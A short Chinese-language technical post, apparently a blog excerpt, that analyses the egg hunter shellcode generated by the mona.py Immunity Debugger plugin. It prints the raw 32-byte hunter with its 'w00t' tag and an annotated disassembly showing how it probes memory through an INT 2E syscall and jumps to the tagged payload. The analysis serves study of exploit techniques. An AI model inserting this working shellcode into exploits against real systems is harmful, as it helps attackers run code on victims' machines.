mona.py的egg hunter方法分析
mona是一个为Immunity Debugger编写的插件,功能十分强大,可以帮助exploit编写人员快速找到想要的指令序列以及很多实用搜索内存的功能。其中有生成egg hunter代码的功能,默认生成结果如下
================================================================================
Output generated by mona.py v1.1
Corelan Team - http://www.corelan.be
================================================================================
OS : xp, release 5.1.2600
Process being debugged : php (pid 15016)
================================================================================
2011-11-19 22:20:41
================================================================================
Egghunter , tag w00t :
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Put this tag in front of your shellcode : w00tw00t
在OD中调试这段指令序列,可以整理出如下代码
00406030 66:81CA FF0F OR DX,0FFF ;产生一个edx初值
00406035 42 INC EDX ;移动EDX ---代码a
00406036 52 PUSH EDX ;保存EDX到堆栈
00406037 6A 02 PUSH 2 ;
00406039 58 POP EAX ; 将2送入eax,为系统调用号
0040603A CD 2E INT 2E ;
0040603C 3C 05 CMP AL,5 ;系统调用INT 2E并比较AL是否为5,注意如果此前EDX中的值指向的地址是不可写的,EAX == C0000005 否则为C00000C5
0040603E 5A POP EDX ;恢复EDX的值
0040603F ^ 74 EF JE SHORT shellcod.00406030 ;如果[EDX]不可写跳转到代码a
00406041 B8 77303074 MOV EAX,74303077
00406046 8BFA MOV EDI,EDX
00406048 AF SCAS DWORD PTR ES:[EDI] ;查看EDI指向的内存是否是EAX的值
00406049 ^ 75 EA JNZ SHORT shellcod.00406035 ;如果不是跳转到代码a
0040604B AF SCAS DWORD PTR ES:[EDI] ;如果是继续判断指向的内存是否为EAX的值(注意,前面SCAS后EDI会加上4)
0040604C ^ 75 E7 JNZ SHORT shellcod.00406035 ;如果不是跳转到代码a
0040604E FFE7 JMP EDI ;发现egg,跳转到找到的代码处执行
摘自 痛苦的信仰